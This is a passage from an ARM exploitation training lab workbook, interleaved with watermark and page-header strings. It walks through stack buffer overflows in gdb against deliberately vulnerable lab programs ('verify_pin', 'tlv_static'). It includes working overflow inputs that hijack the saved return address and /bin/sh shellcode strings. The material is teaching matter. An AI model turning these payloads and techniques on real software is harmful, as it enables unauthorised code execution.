values. The info regs $r7 $lr command below shows the values in the registers that we also see at +0x20 and +0x24
on the stack frame.

gef➤ info reg $r7 $lr


r7
lr
0xbefff488
0x10527 Paul Erwin
0xbefff488
0x10527

Returning from the verify_pin function

Let's review what happens at the end of the verify_pin function.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
0x000104fa <+122>:
0x000104fc <+124>:
adds r7, #32
mov sp, r7
0x000104fe <+126>: pop {r7, pc}

Throughout this function, r7 holds a copy of the stack pointer. At the end of the function, 32 bytes are added to r7, which
would bring it back to the value before the subtraction at the beginning of the function (see the instruction at 0x10483).

live
After the addition to r7, the value is copied into sp, putting them both back in sync. This is essentially shrinking the stack
frame back to the size of the stack prior to the sub sp, #32 instruction.

+0 0x00000000
+4 0x00074000
+8 0x00010a81
+0xc 0x00010af9

38 © Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


+0x10 0x00075d80
+0x14 0x00000000
+0x18 0x00010459
+0x1c 0x00010adf

09b91222e5d2d3d668cf8e52ec5d35ba
+0x20
+0x24
0xbefff488 <- sp and r7 now point here after adding 32 bytes
0x00010527

After the addition and mov instructions, the next two values on the stack are popped into r7 and pc respectively. These are
the same 2 values that were pushed (saved) onto the stack in the very first instruction.

0x000104fe <+126>: pop {r7, pc}

micede1865@wii999_com
When a value is popped into pc, execution will resume at that address.

 Bug

If we can leverage a vulnerability that allows us to write into a local variable and overflow past sp+0x24, we can overwrite the saved
lr on the stack. If we can overwrite the saved lr, we can redirect execution to an address that we control when the saved lr gets
popped into pc.
24356915
Memory Corruption in verify_pin

Looking at the verify_pin function in the source code, we see that it's only parameter is a pointer to user-supplied input
data (*pin).

bool verify_pin(char *pin) {


Paul Erwin
char pin_buffer[20];

if (!pin) {
printf("\nPlease enter enter a pin: ");

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
}
gets(pin_buffer);

else {
memcpy(pin_buffer, pin, strlen(pin));
pin_buffer[strlen(pin)]='\x00';
}

printf("\nYou entered: %s\n", pin_buffer);

if (strcmp(pin_buffer, KEY) == 0)

else
return false; live
return true;
}

© Hungry Hackers, LLC 39


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


There is a fixed-sized stack array called pin_buffer that holds 20 chars. Each char is 1 byte, so the pin_buffer has a limited
size and there are no constraints in the code limiting how much input we can provide.

09b91222e5d2d3d668cf8e52ec5d35ba
char pin_buffer[20];

In the source code, we see a memcpy function that takes in user input and copies it into the pin_buffer variable on the
stack. The prototype for the memcpy function is shown below.

memcpy(destination, source, length)

micede1865@wii999_com
In this example, the length is the calculated size of our input (pin). We control the length and we control the data that gets
copied into the fixed-size pin_buffer stack variable. This is not good programming.

Let's try copying in more data than the buffer can hold. To do this in gdb, we can pass an argument via the run command.
Whenever you issue the run command, the program will start over. That's fine for our purposes in this lab.

First, let's delete our breakpoints.

gef➤ del
gef➤ info break
24356915
No breakpoints or watchpoints.

Now, we can run the program with 40 A's as input.

gef➤
Paul Erwin
run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

If we do this, we get a SIGSEGV notification indicating that the program has crashed.

──────────────────────────────────────────────────────────────────── threads ────


[#0] Id 1, Name: "verify_pin", stopped 0x41414140 in ?? (), reason: SIGSEGV

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
If you did not delete the breakpoints as described in the previous step, they may stop you short of the program crashing. If
we hit c to continue, we see that the program has been terminated.

gef➤ c
Continuing.

Program terminated with signal SIGSEGV, Segmentation fault.


The program no longer exists.

live
The program crashes because it tries to redirect execution to 0x41414141 due to the overwritten lr stored on the stack
getting popped into pc. Since there are no valid, executable instructions at this address, the program crashes.

Fortunately, there is an easier way to do this. Here, we are accomplishing the same thing, but are using python to craft our
input.

40 © Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


run $(python2 -c 'print("A"*40)')

Using the command above, we should generate the same crash.

09b91222e5d2d3d668cf8e52ec5d35ba
Observing the overflow

Let's observe the stack before and after the call to memcpy to see what is happening when the 20-byte pin_buffer char
array gets overflowed.

If we disassemble verify_pin, we see that the call to memcpy occurs at 0x104b4.

 Notice
micede1865@wii999_com
We do not see the function name, "memcpy" here since this is a statically linked ELF file. The blx 0x10178 instruction leads to a
memcpy function that has been included in the verify_pin file and is not part of an external shared object.

disas verify_pin
...
24356915
0x000104b2 <+50>: mov r0, r3
0x000104b4 <+52>: blx 0x10178
0x000104b8 <+56>: ldr r0, [r7, #4]

Set a breakpoint at 0x104b2 and another at 0x104b8. Here we can observe the stack before and after the call to memcpy

Paul Erwin
(0x104b4). We will examine the stack at each breakpoint.

gef➤ b * 0x104b2
Breakpoint 2 at 0x104b2

gef➤ b * 0x104b8
Breakpoint 3 at 0x104b8

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
gef➤
Num
2
info br
Type
breakpoint
Disp Enb Address
keep y
What
0x000104b2 <verify_pin+50>
3 breakpoint keep y 0x000104b8 <verify_pin+56>

Restart the program with the run command and using 40 A's as input.

gef➤

...
run $(python2 -c 'print("A"*40)')
live
──────────────────────────────────────────────────────────────────── code:arm:THUMB ────
0x104a9 <verify_pin+41> smlal r4, r6, r11, r2
0x104ad <verify_pin+45> add.w r3, r7, #12
0x104b1 <verify_pin+49> ldr r1, [r7, #4]

© Hungry Hackers, LLC 41


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


→ 0x104b3 <verify_pin+51> mov r0, r3
0x104b5 <verify_pin+53> blx 0x10178
0x104b9 <verify_pin+57> ldr r0, [r7, #4]
0x104bb <verify_pin+59> bl 0x23c40 <strlen>

09b91222e5d2d3d668cf8e52ec5d35ba
0x104bf <verify_pin+63> mov r3, r0
0x104c1 <verify_pin+65> add.w r2, r7, #32
─────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "verify_pin", stopped 0x104b2 in verify_pin (), reason: BREAKPOINT

We have broken at a mov r0, r3 instruction and the call to memcpy ( blx 0x10178 ) has not yet occured. Let's examine
the stack. We will use the same instruction as before.

micede1865@wii999_com
gef➤ x/10wx $sp
0xbefff440: 0x00000000 0xbefff722 0x00010a81 0x00010af9
0xbefff450: 0x00075d80 0x00000000 0x00010459 0x00010adf
0xbefff460: 0xbefff468 0x00010527

Looks like we can still see our saved lr (0x00010527). Now let's continue execution until we hit our next breakpoint at
0x104b8.

 Note
24356915
The debugger will automatically translate breakpoint addresses that we enter to THUMB if needed.

gef➤ c
Continuing.

...
Paul Erwin
──────────────────────────────────────────────────────────────────── code:arm:THUMB ────
0x104b1 <verify_pin+49> ldr r1, [r7, #4]
0x104b3 <verify_pin+51> mov r0, r3
0x104b5 <verify_pin+53> blx 0x10178
→ 0x104b9 <verify_pin+57> ldr r0, [r7, #4]

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
0x104bb <verify_pin+59> bl
0x104bf <verify_pin+63> mov
0x23c40 <strlen>
r3, r0
0x104c1 <verify_pin+65> add.w r2, r7, #32
0x104c5 <verify_pin+69> add r3, r2
0x104c7 <verify_pin+71> movs r2, #0
─────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "verify_pin", stopped 0x104b8 in verify_pin (), reason: BREAKPOINT

live
We've stopped again. This time we are at our second breakpoint and the memcpy call (blx 0x10178) has already occured.
Now, let's take another look at the stack. This time the memcpy has overflowed past the 20-byte pin_buffer local stack
variable.

gef➤ x/10wx $sp


0xbefff440: 0x00000000 0xbefff722 0x00010a81 0x41414141

42 © Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


0xbefff450: 0x41414141 0x41414141 0x41414141 0x41414141
0xbefff460: 0x41414141 0x41414141

We have overwritten our stack pointer...and then some!

09b91222e5d2d3d668cf8e52ec5d35ba
Overwriting the stored lr

 Try it.

(Optional) Without looking ahead, try to find the number of bytes it would take to precisely overwrite the stored lr with 0x42424242.

micede1865@wii999_com
Craft your buffer so that it is all "A"s (0x41) followed by 4 "B"s (0x42) used to overwrite the stored lr.

Doing some math on the output above, we see that there are 6 words that are all 0x41414141 prior to our overwritten lr
which would be the 7 th word. So, if we wanted to overwrite lr exactly, we would need 24 bytes (6x4=24) prior to the 4 bytes
used to overwrite the stored lr.

24356915
If our buffer was "A"*24 + "BBBB", this would overwrite the stored lr with 'BBBB' or 0x42424242. Let's try this. There is
nothing special about BBBB (0x42424242), we are just using this value to differentiate from the A's (0x41414141).

gef➤ run $(python2 -c 'print("A"*24 + "BBBB")')

Observe the stack at the breakpoints as we did in the previous runs using x/10wx $sp . If you hit 'c' after the second
breakpoint you should see a crash with 0x42424242 or "BBBB" in pc.
Paul Erwin
───────────────────────────────────────────────────────────────────────── registers ────
$r0 : 0x1
$r1 : 0x0004c598 → "8675309"
$r2 : 0x41
$r3 : 0x1
$r4 : 0xbefff4a8 → 0x5283d4c5
$r5 : 0x0

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
$r6 : 0x0
$r7 : 0x41414141 ("AAAA"?)
$r8 : 0x0
$r9 : 0x0
$r10 : 0x00074000 → 0x00000000
$r11 : 0x0
$r12 : 0x4
$sp : 0xbefff478 → 0xbefff500 → 0x00000000
$lr : 0x000104ed → 0x012b0046 ("F"?)
$pc : 0x42424242 ("BBBB"?)
$cpsr: [NEGATIVE zero carry overflow interrupt fast thumb]
live
...
─────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "verify_pin", stopped 0x42424242 in ?? (), reason: SIGSEGV

© Hungry Hackers, LLC 43


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


We got it! We successfully control execution of the program. Instead of crashing the program with 0x42424242, let's see if
we can redlirect execution somewhere else.

09b91222e5d2d3d668cf8e52ec5d35ba
Redirecting execution

If we review the main function, we see that this simple program just checks our input and will print whether or not the door
has been unlocked.

int main(int argc, char *argv[]) {

micede1865@wii999_com
bool is_locked = true;

is_locked = verify_pin(argv[1]);

if(is_locked) {
printf("The door is locked. Try again\n\n");
}
else {

}
exit(0); 24356915
printf("Door unlocked!!!\n\n");

Let's bypass the decision made based on the result of the verify_pin function so the program will indicate that it has
been unlocked regardless of the result of the check.

Paul Erwin
In this lab, we are not using ASLR, so the code addresses will be consistent every time the program is ran. So, rather than
jumping to 0x42424242 and crashing, lets jump to where the "Door unlocked!!!" message gets printed to the screen.

Instead of returning to the main function and storing the result in is_locked just prior to the if(is_locked) check, let's
just return to where the success message is printed.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
is_locked = verify_pin(argv[1]);

if(is_locked) {
<------ We don't want to return here.

printf("The door is locked. Try again\n\n");


}
else {
printf("Door unlocked!!!\n\n"); <-------- Let's return here instead.
exit(0);
}

live
It's pretty easy to see where we want to go in the source code, but finding where we want to land in the assembly is a little
more challenging. To find the specific address, we need to disassemble main.

disas main
Dump of assembler code for function main:
0x0001050c <+0>: push {r7, lr}

44 © Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


0x0001050e <+2>: sub sp, #16
0x00010510 <+4>: add r7, sp, #0
0x00010512 <+6>: str r0, [r7, #4]
0x00010514 <+8>: str r1, [r7, #0]

09b91222e5d2d3d668cf8e52ec5d35ba
0x00010516
0x00010518
0x0001051a
<+10>:
<+12>:
<+14>:
movs
strb
r3, #1
r3, [r7, #15]
ldr r3, [r7, #0]
0x0001051c <+16>: adds r3, #4
0x0001051e <+18>: ldr r3, [r3, #0]
0x00010520 <+20>: mov r0, r3
0x00010522 <+22>: bl 0x10480 <verify_pin>
0x00010526 <+26>: mov r3, r0
0x00010528 <+28>: strb r3, [r7, #15]

micede1865@wii999_com
0x0001052a
0x0001052c
0x0001052e
<+30>:
<+32>:
<+34>:
ldrb r3, [r7, #15]
cmp r3, #0
beq.n 0x1053c <main+48>
0x00010530 <+36>: ldr r3, [pc, #36] ; (0x10558 <main+76>)
0x00010532 <+38>: add r3, pc
0x00010534 <+40>: mov r0, r3
0x00010536 <+42>: bl 0x1982c <puts>
0x0001053a <+46>: b.n 0x1054c <main+64>
0x0001053c
0x0001053e
0x00010540
<+48>:
<+50>:
<+52>:
add r3, pc
mov r0, r3
24356915
ldr r3, [pc, #28] ; (0x1055c <main+80>)

0x00010542 <+54>: bl 0x1982c <puts>


0x00010546 <+58>: movs r0, #0
0x00010548 <+60>: bl 0x147b8 <exit>
0x0001054c <+64>: movs r3, #0
0x0001054e <+66>: mov r0, r3
0x00010550
0x00010552
0x00010554
<+68>:
<+70>:
<+72>:
adds r7, #16
mov sp, r7
pop {r7, pc}
Paul Erwin
In this function we see multiple branches to puts . This is what is displaying messages on the screen. However, only one
of them is followed by a branch to exit .

If we look back at the source code, we see that the printing of the "Door unlocked!!!" message is followed by exit(0) .
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
This is likely where we want to be.

If we jump to 0x0001053c, the ldr, add, and mov instructions will load the success string into r0 and then the puts function
will be called. After that, exit is called.

0x0001053c <+48>: ldr r3, [pc, #28] ; (0x1055c <main+80>)


0x0001053e <+50>: add r3, pc
0x00010540
0x00010542
0x00010546
<+52>:
<+54>:
<+58>:
mov
bl
movs
r0, r3
0x1982c <puts>
r0, #0
live
0x00010548 <+60>: bl 0x147b8 <exit>

© Hungry Hackers, LLC 45


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


There are a few things to remember when working with addresses on little-endian ARM processors.

• Since we will be jumping to a THUMB instruction, we need to add plus one to the destination address shown in gdb,
making it an odd number. So, 0x0001053c becomes 0x0001053d. This tells the processor that the destination we are
09b91222e5d2d3d668cf8e52ec5d35ba
jumping is a 2-byte THUMB instruction and not a 4-byte ARM instruction.

 We have found our destination!

We want to jump to 0x0001053d.

micede1865@wii999_com
Now we can add this value to the end of our input buffer so that it overwrites the saved lr on the stack. Let's delete our
existing breakpoints and give this a try.

gef➤ del

gef➤ info b
No breakpoints or watchpoints.

24356915
• When we enter the addresses in python, we need write each byte in reverse order since this is a litte-endian ARM
processor. In addition, when writing hexadecimal data in a python string, we need to precede each byte with '\x'.

For the address 0x0001053d, we will write it like this in python.

"\x3d\x05\x01\x00"

Now, try the following command in gdb.


Paul Erwin
gef➤ run $(python2 -c 'print("A"*24 + "\x3d\x05\x01\x00")')

If you are successful, you should see the following output.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
gef➤ run $(python2 -c 'print("A"*24 + "\x3d\x05\x01\x00")')
Starting program: /home/nemo/labs/verify_pin/verify_pin $(python2 -c 'print("A"*24 +
"\x3d\x05\x01\x00")')
/bin/bash: warning: command substitution: ignored null byte in input

You entered: AAAAAAAAAAAAAAAAAAAAAAAA=


Door unlocked!!!

[Inferior 1 (process 1448) exited normally]


live
 Hooray!!!

You successfully leveraged a buffer overflow and redirected execution to bypass the program's pin validation!

46 © Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Exploiting verify_pin outside of gdb

If ASLR is turned off on the system, you should be able to successfully exploit this from the command line as well. Exit

09b91222e5d2d3d668cf8e52ec5d35ba
gdb and give it a try.

nemo@mako:~/labs/verify_pin$ ./verify_pin $(python2 -c 'print("A"*24 + "\x3d\x05\x01\x00")')


-bash: warning: command substitution: ignored null byte in input

You entered: AAAAAAAAAAAAAAAAAAAAAAAA=


Door unlocked!!!

 Note
micede1865@wii999_com
In the C programming language, strings are terminated with a null byte. These null bytes are automatically added to the end of
strings provided on the command line. If we leave off the last \x00 in our input, another \x00 will automatically be added in its place
marking it as the end of the string. Give it a try and see if it fixes the bash warning.

Summary
24356915
In this lab we opened verify_pin in gdb and set some breakpoints that allowed us to observe the results of a vulnerable
memcpy implementation. By sending more data than the pin_buffer could hold, we were able to gain control of
execution. In the lab, we simply bypassed an input check looking for "8675309" and jumped straight to the address where
the "Door unlocked!!!" message gets displayed.
Paul Erwin
Stack Overflow Challenge

The stack is executable in verify_pin. Instead of jumping to the success message, try to deliver the
shellcode below (provided as a python string) and jump to it. If you successfully execute the
shellcode, you should get a shell ($). Do all of this in the debugger.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Hints:
Shellcode:
"\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x0c\x30\xc0\x46\x01\x90\x49\x1a\x92\x1a\x0b\x27\x01\xdf\x2f\x62\x69\x6

Breakpoint following the memcpy to observe the stack buffer: 0x104b8

Challenge Answer Key


live

© Hungry Hackers, LLC 47


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Lab 4a: TLV

09b91222e5d2d3d668cf8e52ec5d35ba
Background

TLV stands for Type Length Value and this is a common format used for parsing inbound data. This format is used in
everything from file structures to network protocols. We will be exploiting a function that reads in data as TLV, but does
not check the length value supplied by the user.

Objectives micede1865@wii999_com
• Analyzing TLV input

• Debugging and observing memory corruption

• Formatting valid input which includes our shellcode

24356915
• Redirecting execution and getting a shell in gdb

Lab Preparation

 Note

This lab will be done in the mako vm. Paul Erwin


Accessing the mako vm

• Login to the hammerhead virtual machine using the credentials below.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
• User: nemo

• Password: nemo

• Next, to get a command prompt, open up the Terminator application from the toolbar on the left. It is a small icon
with 4 squares.

• While in the terminator window console, navigate to the ~/qemu/mako folder.

live
• Use the command sudo start_mako.sh to start the mako virtual machine.

• When prompted, use the password: nemo

48 © Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


nemo@hammerhead:~$ cd qemu/mako

nemo@hammerhead:~/qemu/mako$ sudo ./start_mako.sh


[sudo] password for nemo:

09b91222e5d2d3d668cf8e52ec5d35ba
• There will be a lot of activity on the screen after issuing this command. You should see what looks like a normal linux
startup ending with a login prompt.

...
[ OK ] Started System Logging Service.
[ OK ] Finished Discard unused bl…n filesystems from /etc/fstab.
[ OK
micede1865@wii999_com
] Finished Availability of block devices.

Ubuntu 20.04.2 LTS mako ttyAMA0

mako login:

• The best way to connect to the mako vm is through ssh. Open a new terminal session tab by right clicking in the
Terminator window and click Open Tab or you can use the shortcut keys: ctrl + shift + t . You should be able to
24356915
switch between tabs by clicking the names at the top of the Terminator window.

• Next, ssh to the mako vm.

• Use the credentials nemo/nemo to login via ssh.

nemo@hammerhead:~/qemu/mako$ ssh mako


nemo@192.168.2.10's password:
Last login: Mon Mar 8 14:55:30 2021
nemo@mako:~$
Paul Erwin
If you get to this prompt you have successfully logged into the ARM (emulated) virtual machine. You are now ready to
start the lab.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Review source code

Once you connect to mako, change into the labs/tlv folder.

nemo@mako:~$ cd labs/tlv
nemo@mako:~/labs/tlv$

live
Let's start off by looking at the source code. Speci cally, have a look at the process_tlv function.
fi
nemo@mako:~/labs/tlv$ cat src/tlv.c
...

void process_tlv(unsigned char type, unsigned char len, unsigned char *value) {

© Hungry Hackers, LLC 49


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


unsigned char buf[100];
char *c1;
char *c2;

09b91222e5d2d3d668cf8e52ec5d35ba
printf("[+] Processing 0x%x type\n", type);

switch (type) {
case 0x66:
printf("[-] Performing strcpy\n");
strcpy(buf, (value+2));
printf("Value: %s\n", buf);
return;
case 0x65:

micede1865@wii999_com
printf("[-] Performing memcpy\n");
memcpy(buf, value+2, len);
buf[len] = '\00';
printf("Value: %s\n", buf);
return;
case 0x64:
printf("[-] Performing sscanf\n");
sscanf(value, "%c%c%s", &c1, &c2, buf);
return;
default: 24356915
printf("Invalid type. Try again.\n");
return;
}
}
...

Paul Erwin
In this function there is a switch statement that determines which actions to perform based on the type argument. We
will focus on case 0x65.

 Note

You may notice that there are three different buffer overflows that can occur in this function.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Let's start by seeing how we can reach the case 0x65 code, starting with the main function.

int main(int argc, char *argv[]) {

unsigned char *input_buffer = argv[1];

live
process_tlv(input_buffer[0], input_buffer[1], input_buffer);

return 0;
}

Looking at the main function, we see that the command line argument is copied into input_buffer and input_buffer is
passed into process_tlv .

50 © Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


However, the input_buffer isn't passed as a single argument as we've seen before. Here we see the first byte of input
buffer (input_buffer[0]) passed as the first argument to the process_tlv function. The second byte (input_buffer[1]) is
passed as the second argument and the full buffer (input_buffer) passed as the third argument. Ok, so how does

09b91222e5d2d3d668cf8e52ec5d35ba
process_tlv see this?

void process_tlv(unsigned char type, unsigned char len, unsigned char *value)

The process_tlv function receives:

• the first byte of our command line input as the type

micede1865@wii999_com
• the second byte of our command line input as the length

• the third argument is a pointer to the beginning of our command line input

This means that when we pass data in via the command line, we need to consider that the first byte of our input will be
used as the type and the second byte will be used as the length when it is passed into the process_tlv function.

Let's look at the third argument called "value". What about the 2 bytes at the beginning of this argument? They are the
24356915
same thing as the type and length. To account for this, you'll notice that in some of the cases, +2 is added to the value.
This skips past the first two bytes (the type and the value) and starts reading data at value+2.

Each of the three cases use the buf variable as a destination. This variable is a char array that can only hold 100 bytes of
data. So if we can send more than that into buf, we can overflow the buffer.

Paul Erwin
This lab focuses on case 0x65 since it handles the input as Type Length Value (TLV). Let's take a look at the code for this
case.

unsigned char buf[100];

...

switch (type) {

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
...

case 0x65:
printf("[-] Performing memcpy\n");
memcpy(buf, value+2, len);
buf[len] = '\00';
printf("Value: %s\n", buf);
return;
live
The switch statement is based on the type argument. The type argument is derived from the first byte in the command
line input. Since we control this data, we can use a hexadecimal 0x65 (or a lower case 'e') at the beginning of our
command line input to reach this case statement and memcpy our data into buf. The len argument used in the memcpy is
the second byte of our command line input.

© Hungry Hackers, LLC 51


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


The case handler:

• Prints a message

09b91222e5d2d3d668cf8e52ec5d35ba
• Performs a memcpy to buf using our input

• Puts a zero at the index of len in buf (this is so the string prints cleanly and will not impact our exploit)

• Prints buf

• Returns to main

Let's take a step back and think about this. There are some important factors that are favorable to us as attackers.

micede1865@wii999_com
• We control the type, so we can direct to the 0x65 case.

• The destination that our input gets copied into is a fixed size buffer of 100 bytes.

• There are no size checks in this code.

• We control the source data in the memcpy.

24356915
• We control the length with the constraint that it is a one byte value. (max size is 0xff or 255)

 Bug

If we can provide a length greater than 100 bytes, we will be able to achieve memory corruption via a buffer overflow.

Let's check a couple of things in python.


Paul Erwin
 Note

You may want to open multiple tabs or console windows in Terminator. To do this use ctrl-shift-t , ctrl-shift-e , or ctrl-
shift-o . Close tabs or extra console windows by typing exit .

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
nemo@mako:~/labs/tlv$ python
Python 2.7.18 (default, Aug 4 2020, 11:16:42)
[GCC 9.3.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> "\x65"
'e'
>>> 0x64
100
>>> 0xff
255
live
>>> "\x7a"
'z'
>>> 0x7a
122

52 © Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


In the python snippet above we confirmed a few things.

• 0x65 is the same as a lower-case "e". This will be the first byte in our command line input so that we can reach the
target case statement.
09b91222e5d2d3d668cf8e52ec5d35ba
• 0x64 is 100 in decimal. If we specify a value higher than this as our length (2 nd byte in our input), we will overflow the
buffer.

• The highest value a single byte can hold is hex 0xff or 255. This is more than enough to overflow the buffer.

• 0x7a is a lower-case "z". The decimal value is 122. If we send a lower-case "z" as the second byte (which becomes
our length), it will overflow the buffer.

 Note
micede1865@wii999_com
For a quick reference on ascii and to see a chart with the decimal/hexadecimal equivalencies, run man ascii from the command
prompt.

Let's give this a shot against the tlv_static binary.


24356915
Crashing tlv_static

 Try it.

Paul Erwin
Based on your current knowledge, see if you can cause a crash.

nemo@mako:~/labs/tlv$ ./tlv_static ezCCCCCCCCCCCCCCCCCCCCCCC


[+] Processing 0x65 type
[-] Performing memcpy
Value: CCCCCCCCCCCCCCCCCCCCCCC
Segmentation fault (core dumped)

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
In the output above we passed a value of 0x65 ('e') as the type and 122 (0x7a or 'z') as the length and a bunch of "C"'s for
our data.

 Why does this still crash if we send less than 100 C's? 

live
This will still overflow the buffer because of the length. Even though we are not specifying enough "C"'s, it will still continue to copy
in whatever data in memory follows our input. This will overwrite the stored lr register and crash the program when it tries to return
to main.

© Hungry Hackers, LLC 53


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Controlling execution in the debugger

Open tlv_static in gdb. We will not be using gef in the following examples, but feel free to use it if you prefer. You can

09b91222e5d2d3d668cf8e52ec5d35ba
turn the gef plugin on by uncommenting the line in the ~/.gdbinit file.

 Try it. (optional)

Without looking ahead, try to modify the input and redirect execution to 0x42424242. The input below will get you started.

gdb ./tlv_static

micede1865@wii999_com
run $(python2 -c 'print("A"*5 + "BBBB")')

After some trial and error or by taking some time to analyze the stack frame, we find that the following input will crash the
program and redirect execution to 0x42424242.

(gdb) run $(python2 -c 'print("\x65\xff" + "A"*104 + "BBBB")')

[+] Processing 0x65 type


[-] Performing memcpy
24356915
Starting program: /home/nemo/labs/tlv/tlv_static $(python2 -c 'print("\x65\xff" + "A"*104 + "BBBB")')

Value:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

Program received signal SIGSEGV, Segmentation fault.


0x42424242 in ?? ()

Paul Erwin
Notice that we don't have to specify the length exactly for this lab. As long as we specify enough of a length to overwrite
the saved lr, we can focus on the alignment needed to overwrite the saved lr exactly.

In this first iteration, we showed that we can overwrite the saved LR with "BBBB" or 0x42424242.

 Try it. (optional)


ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Try to use the shellcode below to get a shell while running the program in the debugger.

"\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x10\x30\xc0\x46\x01\x90\x49\x1a\xc1\x71\x92\x1a\x06\x27\x05\x37\x01\xdf\x2f\x62\x

Length: 35 bytes

 Note live
We discuss shellcode in another lab. For now, try to see if you can direct execution to the address that points to the first byte of this
shellcode while it is in program memory.

54 © Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Let's do this step-by-step.

• First, copy the payload into your input buffer and make sure you can still redirect execution to 0x42424242. You will
need to adjust the length of your A's to accommodate the size of the shellcode.
09b91222e5d2d3d668cf8e52ec5d35ba
(gdb) run $(python2 -c 'print "\x65\xff" +
"\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x10\x30\xc0\x46\x01\x90\x49\x1a\xc1\x71\x92\x1a\x06\x27\x05\x37\x01\xd
+ "A"*69 + "BBBB"')
Starting program: /home/nemo/labs/tlv/tlv_static $(python2 -c 'print "\x65\xff" +
"\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x10\x30\xc0\x46\x01\x90\x49\x1a\xc1\x71\x92\x1a\x06\x27\x05\x37\x01\xd
+ "A"*69 + "BBBB"')
[+] Processing 0x65 type

micede1865@wii999_com
[-] Performing memcpy
Value: 0���/�xF0�F�I��q��'7�/bin/
shAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

Program received signal SIGSEGV, Segmentation fault.


0x42424242 in ?? ()

24356915
So, now we can deliver the shellcode AND we control execution. The next step is to redirect execution to our shellcode.

 Note

The stack in the tlv lab is executable, so if we can jump to our shellcode while it is on the stack we will be able to execute arbitrary
code that we supply as input.

 Hint Paul Erwin


Set a breakpoint after the call to memcpy and analyze the stack to find the address that points to the beginning of your shellcode.

Using that same input, let's do another run. This time, we will set a breakpoint so that we can observe the data on the
stack prior to crashing the program. We do this to locate the shellcode on the stack and find the address we need to jump
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
to. Let's look at the end of the process_tlv function.

0x00010540 <+192>: add r3, pc


0x00010542 <+194>: mov r0, r3
0x00010544 <+196>: bl 0x1da64 <puts>
0x00010548 <+200>: nop
0x0001054a <+202>: adds r7, #120 ; 0x78
0x0001054c
0x0001054e
<+204>:
<+206>:
mov sp, r7
pop {r7, pc} live
If we set a breakpoint at 0x1054c, we will be able to observe the sp register before it gets restored. The breakpoint being
set at 0x1054c will stop program execution before r7 gets moved into sp. This will allow us to look at the stack frame that
was used for the process_tlv function. When we hit the breakpoint, we will examine the stack using the 'x' command.

© Hungry Hackers, LLC 55


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


 Note

Recall from class that a stack frame is a subsection of the stack that is used by functions for storage of local variables like buf

09b91222e5d2d3d668cf8e52ec5d35ba
(gdb) b * 0x1054c
Breakpoint 1 at 0x1054c

(gdb) run $(python2 -c 'print "\x65\xff" +


"\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x10\x30\xc0\x46\x01\x90\x49\x1a\xc1\x71\x92\x1a\x06\x27\x05\x37\x01\xd
+ "A"*69 + "BBBB"')
The program being debugged has been started already.

micede1865@wii999_com
Start it from the beginning? (y or n) y
Starting program: /home/nemo/labs/tlv/tlv_static $(python2 -c 'print "\x65\xff" +
